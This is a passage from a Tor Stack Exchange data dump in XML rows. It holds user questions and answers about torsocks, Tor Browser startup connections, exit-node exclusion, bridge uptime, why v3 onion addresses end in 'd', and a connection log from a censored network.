  <row Id="23106" PostTypeId="1" AcceptedAnswerId="23107" CreationDate="2022-03-28T02:10:20.003" Score="0" ViewCount="126" Body="&lt;p&gt;I can set Chrome proxy by Tor. Can use Tor socks5 to set shell proxy?&#xA;I tried but failed.&#xA;I think no way to do it.&lt;/p&gt;&#xA;" OwnerUserId="34365" LastActivityDate="2022-03-29T00:27:45.050" Title="ZSH set socks5 proxy by tor" Tags="|tor-browser-bundle|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23107" PostTypeId="2" ParentId="23106" CreationDate="2022-03-29T00:27:45.050" Score="0" Body="&lt;p&gt;I don't have zsh installed to try it, but you could try using it with torsocks. For example with bash, you can run &lt;code&gt;torsocks bash&lt;/code&gt;. This will launch a bash shell that will redirect new TCP network connections through Tor. It would probably work for zsh as well with &lt;code&gt;torsocks zsh&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;It's important to note that not all network traffic will be redirected through Tor when using torsocks (torsocks is not a sandbox and there is no fail-safe). Non-TCP network traffic will be sent without Tor, and any applications that access the network without using libc will also be sent without Tor.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-03-29T00:27:45.050" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23108" PostTypeId="2" ParentId="22619" CreationDate="2022-03-29T19:43:38.130" Score="1" Body="&lt;p&gt;I wrote a script exactly for that purpose, see &lt;a href=&quot;https://gist.github.com/Atrate/be4a7d308549c7a9fe281d2cdf578d21&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/Atrate/be4a7d308549c7a9fe281d2cdf578d21&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user34370" LastActivityDate="2022-03-29T19:43:38.130" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23109" PostTypeId="2" ParentId="22040" CreationDate="2022-03-31T16:19:39.353" Score="0" Body="&lt;p&gt;10% out of 1 billion of web sites is not chicken feet's 100.000 millions users say &amp;quot;go **** (away) Tor for good&amp;quot;. Never mind this is up to me to keep my data, passwords etc. protected and as bad it is Google making you jump every time its turn on music, now Internet Community have to deal with overzealous developers who are believing they have to help us to be protected as if we don't know how to do so if we needed. Yes our website uses HTTP and NO we don't have nothing to protect. No passwords, no pay system nothing that need even basic inscription in which case while Tor crowed thinks they doing us a favor, 100.000 millions of Internet users removing Tor from their devices.&lt;/p&gt;&#xA;" OwnerUserId="34383" LastActivityDate="2022-03-31T16:19:39.353" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23114" PostTypeId="1" CreationDate="2022-04-07T10:37:16.197" Score="0" ViewCount="187" Body="&lt;p&gt;On a fresh, new installation of Tor Browser v11.0.9, I noticed that even though &lt;em&gt;Show alerts about passwords for breached websites&lt;/em&gt; in &lt;strong&gt;Tor Browser Preferences&lt;/strong&gt; &amp;gt; &lt;em&gt;&lt;strong&gt;Privacy &amp;amp; Security&lt;/strong&gt;&lt;/em&gt; is disabled by default:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4o5gf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4o5gf.jpg&quot; alt=&quot;Screenshot of Tor Browser Preferences&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Tor Browser still tries to connect to &lt;code&gt;firefox.settings.services.mozilla.com&lt;/code&gt; on startup:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PIl5h.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PIl5h.jpg&quot; alt=&quot;Screenshot Tor Browser Firewall Alert&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to Firefox own Help Docs &lt;a href=&quot;https://support.mozilla.org/en-US/kb/how-stop-firefox-making-automatic-connections&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to stop Firefox from making automatic connections&lt;/a&gt; and &lt;a href=&quot;https://support.mozilla.org/en-US/kb/firefox-password-manager-alerts-breached-websites&quot; rel=&quot;nofollow noreferrer&quot;&gt;Turn off website breach alerts&lt;/a&gt;, this shouldn't be happening.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;This bug seems to persist in &lt;strong&gt;Tor Browser 12.0.4&lt;/strong&gt; too, and now it also seems to phone Securedrop.org on startup:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ehc0h.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ehc0h.png&quot; alt=&quot;Tor Browser 12.0.4 Phoning Mozilla and Securedrop&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Bug still persists in &lt;strong&gt;Tor Browser 12.0.6&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ptg0v.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ptg0v.jpg&quot; alt=&quot;Screenshot Tor Browser 12.0.6 Firewall Alert&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28647" LastEditorUserId="28647" LastEditDate="2023-06-02T22:56:44.077" LastActivityDate="2023-06-02T22:56:44.077" Title="Bug: Tor Browser 11.0.9 - 12.0.6 tries to connect to Mozilla services on Startup" Tags="|tor-browser-bundle|firefox|connection|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23116" PostTypeId="1" CreationDate="2022-04-12T01:47:57.820" Score="0" ViewCount="208" Body="&lt;p&gt;Logged in as admin then used:&lt;/p&gt;&#xA;&lt;p&gt;sudo nano /etc/tor/torrc&lt;/p&gt;&#xA;&lt;p&gt;ExcludeExitNodes {us},{au},{ca},{nz},{gb},{fr},{nl}&lt;/p&gt;&#xA;&lt;p&gt;CTRL-X&lt;/p&gt;&#xA;&lt;p&gt;sudo systemctl restart tor&lt;/p&gt;&#xA;&lt;p&gt;{us},{au},{ca},{nz},{gb},{fr} does work&#xA;{nl} does NOT work?&lt;/p&gt;&#xA;&lt;p&gt;Has the Netherlands got another country code?&lt;/p&gt;&#xA;" OwnerUserId="34014" LastActivityDate="2022-04-12T01:47:57.820" Title="ExcludeExitNodes for the Netherlands not working" Tags="|tails|exit-relays|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23117" PostTypeId="1" CreationDate="2022-04-15T08:18:57.363" Score="1" ViewCount="75" Body="&lt;p&gt;Tor Browser 11.0.9 on stock Ubuntu 20.04 with Gnome 3.36&#xA;I don't remember when it happened, but now Tor Browser is closed on gnome-shell restart (via alt-F2: r).&#xA;I remember that it survived it earlier (as all other apps do on X11 for years).&lt;/p&gt;&#xA;&lt;p&gt;What happened and can it be fixed?&lt;/p&gt;&#xA;" OwnerUserId="34454" LastEditorUserId="34403" LastEditDate="2022-04-23T22:09:45.923" LastActivityDate="2022-04-23T22:09:45.923" Title="Tor Browser doesn't survive gnome-shell restart" Tags="|tor-browser-bundle|ubuntu|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23118" PostTypeId="1" CreationDate="2022-04-15T13:32:39.217" Score="0" ViewCount="161" Body="&lt;p&gt;I've been running a Tor Bridge for about a month now. Every day I check the system logs to ensure the bridge hasn't broken. I also check Tor Metrics to see the data on my bridge. Twice now, I have experienced Tor Metrics show my bridge offline, when my logs show all is well. Both times it started happening around 5-6 days of uptime.&lt;/p&gt;&#xA;&lt;p&gt;The first time it happened, I let it run for another 10 days or so without rebooting. My logs continued to show unique clients, multiple circuits open, and data continuing to move through my bridge. However, Tor Metrics would consistently show my bridge offline with ~30-60 minutes of downtime. It was almost like Tor Metrics thought I was rebooting the service every 45 minutes. After I finally rebooted the machine, Tor Metrics showed perfect uptime again for about 5-6 days. Now, it is again showing offline, when my Tor Bridge is still running.&lt;/p&gt;&#xA;&lt;p&gt;I'm running Tor 0.4.6.10 on Ubuntu 20.04.4. I'm curious if anyone has run into this issue and/or what I can do to resolve this issue. Let me know if I can provide any additional information.&lt;/p&gt;&#xA;" OwnerUserId="34456" LastActivityDate="2023-12-21T19:13:28.653" Title="Why does Tor Metrics show my bridge offline after a few days?" Tags="|configuration|bridge|linux|ubuntu|debian|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23119" PostTypeId="1" AcceptedAnswerId="23123" CreationDate="2022-04-17T06:15:17.487" Score="1" ViewCount="704" Body="&lt;p&gt;Recently I noticed that all the V3 addresses end in &amp;quot;d&amp;quot;. Some examples from Ahmia.fi search results (&amp;quot;Tor&amp;quot; was the search query):&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;2gzyxa5ihm7nsggfxnu52rck2vv4rvmdlkiu3zzui5du4xyclen53wi&lt;strong&gt;d&lt;/strong&gt;.onion&lt;/li&gt;&#xA;&lt;li&gt;pzhdfe7jraknpj2qgu5cz2u3i4deuyfwmonvzu5i3nyw4t4bmg7o5pa&lt;strong&gt;d&lt;/strong&gt;.onion&lt;/li&gt;&#xA;&lt;li&gt;rzuwtpc4wb3xdzrj3yeajsvm3fkq4vbeubm2tdxaqruzzzgs5dwemla&lt;strong&gt;d&lt;/strong&gt;.onion&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;To make sure the story is correct, I made another test using mkp224o for creating custom V3 addresses (in this example I've generated addresses starting with &lt;strong&gt;test&lt;/strong&gt;):&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AJbs5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AJbs5.png&quot; alt=&quot;All V3 addresses ending with d&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As another interesting result two ending letters as:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;ad&lt;/li&gt;&#xA;&lt;li&gt;id&lt;/li&gt;&#xA;&lt;li&gt;yd&lt;/li&gt;&#xA;&lt;li&gt;qd&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Then I checked Tor Spec for v3 in here:&#xA;&lt;a href=&quot;https://github.com/torproject/torspec/blob/main/rend-spec-v3.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/torproject/torspec/blob/main/rend-spec-v3.txt&lt;/a&gt;. This is the exact copy of section 6 (Encoding Onion Address):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;Encoding onion addresses [ONIONADDRESS]&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The onion address of a hidden service includes its identity public key, a&#xA;version field and a basic checksum. All this information is then base32&#xA;encoded as shown below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;onion_address = base32(PUBKEY | CHECKSUM | VERSION) + &amp;quot;.onion&amp;quot;&#xA;CHECKSUM = H(&amp;quot;.onion checksum&amp;quot; | PUBKEY | VERSION)[:2]&#xA;&#xA;where:&#xA;  - PUBKEY is the 32 bytes ed25519 master pubkey of the hidden service.&#xA;  - VERSION is a one byte version field (default value '\x03')&#xA;  - &amp;quot;.onion checksum&amp;quot; is a constant string&#xA;  - CHECKSUM is truncated to two bytes before inserting it in onion_address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here are a few example addresses:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  pg6mmjiyjmcrsslvykfwnntlaru7p5svn6y2ymmju6nubxndf4pscry**d**.onion&#xA;  sp3k262uwy4r2k3ycr5awluarykdpag6a7y33jxop4cs2lu5uz5sseq**d**.onion&#xA;  xa4r2iadxm55fbnqgwwi5mymqdcofiu3w6rpbtqn7b2dyn7mgwj64jy**d**.onion&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For more information about this encoding, please see our discussion thread&#xA;at [ONIONADDRESS-REFS].&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;All the examples are ended with &lt;strong&gt;d&lt;/strong&gt; as I made them bold!&lt;/p&gt;&#xA;&lt;p&gt;The documentation exactly says that:&#xA;&lt;em&gt;&lt;strong&gt;onion_address = base32(PUBKEY | CHECKSUM | VERSION) + &amp;quot;.onion&amp;quot;&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Therefore, base32 of &amp;quot;PUBKEY | CHECKSUM | VERSION&amp;quot; is always ending with &lt;strong&gt;d&lt;/strong&gt;? Or &lt;strong&gt;ad&lt;/strong&gt;, &lt;strong&gt;id&lt;/strong&gt;, &lt;strong&gt;qd&lt;/strong&gt;, and &lt;strong&gt;yd&lt;/strong&gt;?&lt;/p&gt;&#xA;&lt;p&gt;I also checked &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2017-January/011816.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-dev/2017-January/011816.html&lt;/a&gt; and &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-dev/2016-December/011734.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://lists.torproject.org/pipermail/tor-dev/2016-December/011734.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2022-04-17T20:31:18.017" Title="Why do all the generated Tor v3 vanity addresses end with &quot;d&quot;?" Tags="|onion-routing|onionaddress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23120" PostTypeId="2" ParentId="22300" CreationDate="2022-04-17T06:18:28.167" Score="1" Body="&lt;p&gt;After installing &lt;a href=&quot;https://github.com/cathugger/mkp224o&quot; rel=&quot;nofollow noreferrer&quot;&gt;mkp224o&lt;/a&gt;, use it as:&#xA;&lt;code&gt;mkp224o -B YOUR_PREFIX&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Alternately, you can use &lt;a href=&quot;https://github.com/dr-bonez/tor-v3-vanity&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor-v3-vanity&lt;/a&gt; for employing &lt;strong&gt;GPU&lt;/strong&gt; to speed up finding addresses.&lt;/p&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2022-04-17T06:18:28.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23121" PostTypeId="2" ParentId="21005" CreationDate="2022-04-17T06:23:35.877" Score="0" Body="&lt;p&gt;Late Answer!&lt;/p&gt;&#xA;&lt;p&gt;It may be a permission problem. Tor itself accepts Read,Write,Execute only with &lt;strong&gt;debian-tor&lt;/strong&gt; user. Maybe the user is the owner of the files that are generated by mkp224o, not &lt;strong&gt;debian-tor&lt;/strong&gt;. So you may change the permission to 700 and the owner to &lt;strong&gt;debian-tor&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo chmod 700 -R /var/lib/tor/*&#xA;$ sudo chown -R debian-tor /var/lib/tor/*&#xA;$ sudo service tor restart&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19920" LastActivityDate="2022-04-17T06:23:35.877" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23123" PostTypeId="2" ParentId="23119" CreationDate="2022-04-17T20:31:18.017" Score="2" Body="&lt;p&gt;This is just how the base-32 conversion works out when the last byte is &lt;code&gt;0x03&lt;/code&gt; (the version byte). For example, see the following base-32 conversions:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0x0000000000 = AAAAAAAA&#xA;0x0000000003 = AAAAAAAD&#xA;0x0000000103 = AAAAAAID&#xA;0x0000000203 = AAAAAAQD&#xA;0x0000000303 = AAAAAAYD&#xA;0x0000000403 = AAAAABAD&#xA;0x0000000503 = AAAAABID&#xA;0x0000000603 = AAAAABQD&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In base-32, each 5 bits are mapped to a letter. The last byte (8 bits) is &lt;code&gt;0x03 = 0b00000011&lt;/code&gt;, so the last letter will take 5 of those bits (&lt;code&gt;0b00011&lt;/code&gt; is &lt;code&gt;D&lt;/code&gt;), and the 3 other bits &lt;code&gt;0b000&lt;/code&gt; go towards the second last letter. So for the second last letter, there are only 2 bits that can change, so there are only 4 possible letters for the second last letter (&lt;code&gt;0b00000&lt;/code&gt; is &lt;code&gt;A&lt;/code&gt;, &lt;code&gt;0b01000&lt;/code&gt; is &lt;code&gt;I&lt;/code&gt;, &lt;code&gt;0b100000&lt;/code&gt; is &lt;code&gt;Q&lt;/code&gt;, and &lt;code&gt;0b11000&lt;/code&gt; is &lt;code&gt;Y&lt;/code&gt;). For the bytes &lt;code&gt;0x0000000103&lt;/code&gt;, the last 10 bits are &lt;code&gt;0b0100000011&lt;/code&gt;. Of those 10 bits, the first 5 &lt;code&gt;0b01000&lt;/code&gt; (decimal 8) map to &lt;code&gt;I&lt;/code&gt; and the second 5 &lt;code&gt;0b00011&lt;/code&gt; (decimal 3) map to &lt;code&gt;D&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-04-17T20:31:18.017" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23124" PostTypeId="2" ParentId="16387" CreationDate="2022-04-18T19:40:27.470" Score="0" Body="&lt;p&gt;another solution is to just run tor.exe from &lt;a href=&quot;https://cygwin.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cygwin&lt;/a&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/erh7r.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/erh7r.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;i don't know why exactly, but Cygwin has no problem reading the output from tor.exe&lt;/p&gt;&#xA;" OwnerUserId="34469" LastActivityDate="2022-04-18T19:40:27.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23125" PostTypeId="1" CreationDate="2022-04-19T06:33:31.410" Score="0" ViewCount="1181" Body="&lt;p&gt;I'm considering using either a Tails stick on my spare laptop or Whonix on my PC via Virtualbox. Only problem is, said PC is a Windows 10 system.&lt;/p&gt;&#xA;&lt;p&gt;Is it more secure to just go with the Tails plan, or can I virtually gaurantee the Host has no idea of any activity inside the VM(s)?&lt;/p&gt;&#xA;&lt;p&gt;I'm particularly worried about I.P leakage (through driveby attacks probably), which is why I'm currently looking into Whonix, but I'm new(ish) to this whole thing, so advice would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="34472" LastActivityDate="2022-04-19T06:33:31.410" Title="Is running Whonix with a Windows 10 Host a bad idea?" Tags="|tails|ip-address|whonix|ip-address-leak|malware|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23126" PostTypeId="1" CreationDate="2022-04-19T07:12:41.297" Score="0" ViewCount="600" Body="&lt;p&gt;I have visited some of my sites with the Tor browser and checked Google Analytics(GA4) to track the activity in real-time.&#xA;but I did not have any data in my G.A panel!&#xA;Is it reasonable that G.A ignores the data of Tor's users?&lt;/p&gt;&#xA;" OwnerUserId="34473" LastEditorUserId="34403" LastEditDate="2022-04-23T22:10:37.593" LastActivityDate="2022-04-23T22:25:21.153" Title="Does Google analytics track users with Tor browser?" Tags="|google|traffic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23127" PostTypeId="2" ParentId="22619" CreationDate="2022-04-19T18:38:17.573" Score="0" Body="&lt;p&gt;I made a python script which can read in a Snowflake Log-File and give you a summary:&#xA;&lt;a href=&quot;https://gist.github.com/Allstreamer/0bc711d4d35ddb523df560425da76513&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/Allstreamer/0bc711d4d35ddb523df560425da76513&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is probably most usefull for people who use the compiled version not the docker version&lt;/p&gt;&#xA;" OwnerUserId="34474" LastActivityDate="2022-04-19T18:38:17.573" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23128" PostTypeId="2" ParentId="20667" CreationDate="2022-04-21T22:42:55.440" Score="0" Body="&lt;p&gt;It works exactly the same &lt;strong&gt;except&lt;/strong&gt; one moment: in a hidden service case there's no exit node and no clear-net/Internet side of the packet path&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-04-21T22:42:55.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23129" PostTypeId="2" ParentId="23126" CreationDate="2022-04-23T22:25:21.153" Score="0" Body="&lt;p&gt;It &lt;strong&gt;does&lt;/strong&gt; - it tracks all it can &lt;em&gt;regardless&lt;/em&gt; of the way the website was accessed. So - when you're having a website in both Clearnet and Darknet(not just Tor, it's right for I2P and ZeroNET, e.t.c.. either) - you make a &lt;em&gt;server-side&lt;/em&gt; filtering to exclude &lt;em&gt;any&lt;/em&gt; tracking code. Then it works well in both worlds&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-04-23T22:25:21.153" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23130" PostTypeId="1" CreationDate="2022-04-27T13:39:09.840" Score="1" ViewCount="344" Body="&lt;p&gt;In Tor Browser's application menu, there is &amp;quot;New window&amp;quot; and &amp;quot;New private window&amp;quot;. What is the difference between these two? They appear to have the same effect.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WbOVX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WbOVX.png&quot; alt=&quot;Tor Browser application menu&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;(Tor Browser version 11.0.10)&lt;/p&gt;&#xA;" OwnerUserId="27182" LastActivityDate="2022-05-05T13:06:17.987" Title="What is the difference between &quot;New window&quot; and &quot;New private window&quot; in Tor Browser?" Tags="|tor-browser-bundle|firefox|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23131" PostTypeId="1" CreationDate="2022-04-28T11:27:26.690" Score="0" ViewCount="1361" Body="&lt;p&gt;I am trying to connect to tor but I get the error: Connected to a tor relay failed (TLS_ERROR - 192.0.2.2:2)&lt;/p&gt;&#xA;&lt;p&gt;I only get that error when using the meek-azure built-in bridge, when I use any other bridge or don't use a bridge at all it hangs on the &amp;quot;negotiating with a tor relay&amp;quot; stage.&lt;/p&gt;&#xA;&lt;p&gt;When it hangs It eventually times out.&lt;/p&gt;&#xA;&lt;p&gt;The network I am connecting from is trying to censor tor if that helps.&lt;/p&gt;&#xA;&lt;p&gt;Tor logs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;4/28/22, 10:45:42.458 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:46:27.166 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:46:27.166 [NOTICE] Switching to guard context &amp;quot;default&amp;quot; (was using &amp;quot;bridges&amp;quot;)&#xA;4/28/22, 10:46:31.511 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:46:31.512 [NOTICE] Switching to guard context &amp;quot;bridges&amp;quot; (was using &amp;quot;default&amp;quot;)&#xA;4/28/22, 10:46:31.770 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;4/28/22, 10:46:43.246 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;4/28/22, 10:46:43.247 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;4/28/22, 10:46:44.393 [NOTICE] Bootstrapped 1% (conn_pt): Connecting to pluggable transport&#xA;4/28/22, 10:46:44.395 [NOTICE] Bootstrapped 2% (conn_done_pt): Connected to pluggable transport&#xA;4/28/22, 10:46:46.624 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 144.217.20.138:80 ID=&amp;lt;none&amp;gt; RSA_ID=FB70B257C162BF1038CA669D568D76F5B7F0BABB (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:46.630 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.98:443 ID=&amp;lt;none&amp;gt; RSA_ID=011F2599C0E9B27EE74B353155E244813763C3E5 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:46.637 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.33.83:80 ID=&amp;lt;none&amp;gt; RSA_ID=0BAC39417268B96B9F514E7F63FA6FBA1A788955 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:46.641 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.1.78:80 ID=&amp;lt;none&amp;gt; RSA_ID=C8CBDB2464FC9804A69531437BCF2BE31FDD2EE4 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:46.649 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 51.222.13.177:80 ID=&amp;lt;none&amp;gt; RSA_ID=5EDAC3B810E12B01F6FD8050D2FD3E277B289A08 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:46.979 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 209.148.46.65:443 ID=&amp;lt;none&amp;gt; RSA_ID=74FAD13168806246602538555B5521A0383A1875 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:47.170 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.26:443 ID=&amp;lt;none&amp;gt; RSA_ID=91A6354697E6B02A386312F68D82CF86824D3606 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:47.336 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 192.95.36.142:443 ID=&amp;lt;none&amp;gt; RSA_ID=CDF2E852BF539B82BD10E27E9115A31734E378C2 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:49.454 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 51.222.13.177:80 ID=&amp;lt;none&amp;gt; RSA_ID=5EDAC3B810E12B01F6FD8050D2FD3E277B289A08 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:49.458 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.1.78:80 ID=&amp;lt;none&amp;gt; RSA_ID=C8CBDB2464FC9804A69531437BCF2BE31FDD2EE4 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:49.734 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.98:443 ID=&amp;lt;none&amp;gt; RSA_ID=011F2599C0E9B27EE74B353155E244813763C3E5 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:49.738 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 209.148.46.65:443 ID=&amp;lt;none&amp;gt; RSA_ID=74FAD13168806246602538555B5521A0383A1875 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:50.149 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 38.229.33.83:80 ID=&amp;lt;none&amp;gt; RSA_ID=0BAC39417268B96B9F514E7F63FA6FBA1A788955 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:50.161 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 144.217.20.138:80 ID=&amp;lt;none&amp;gt; RSA_ID=FB70B257C162BF1038CA669D568D76F5B7F0BABB (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:50.830 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 192.95.36.142:443 ID=&amp;lt;none&amp;gt; RSA_ID=CDF2E852BF539B82BD10E27E9115A31734E378C2 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:50.837 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 85.31.186.26:443 ID=&amp;lt;none&amp;gt; RSA_ID=91A6354697E6B02A386312F68D82CF86824D3606 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:52.213 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 146.57.248.225:22 ID=&amp;lt;none&amp;gt; RSA_ID=10A6CD36A537FCE513A322361547444B393989F0 (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:52.222 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 45.145.95.6:27015 ID=&amp;lt;none&amp;gt; RSA_ID=C5B7CD6946FF10C5B3E89691A7D3F2C122D2117C (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 10:46:52.233 [WARN] Proxy Client: unable to connect OR connection (handshaking (proxy)) with 37.218.245.14:38224 ID=&amp;lt;none&amp;gt; RSA_ID=D9A82D2F9C2F65A18407B1D2B764F130847F8B5D (&amp;quot;general SOCKS server failure&amp;quot;)&#xA;4/28/22, 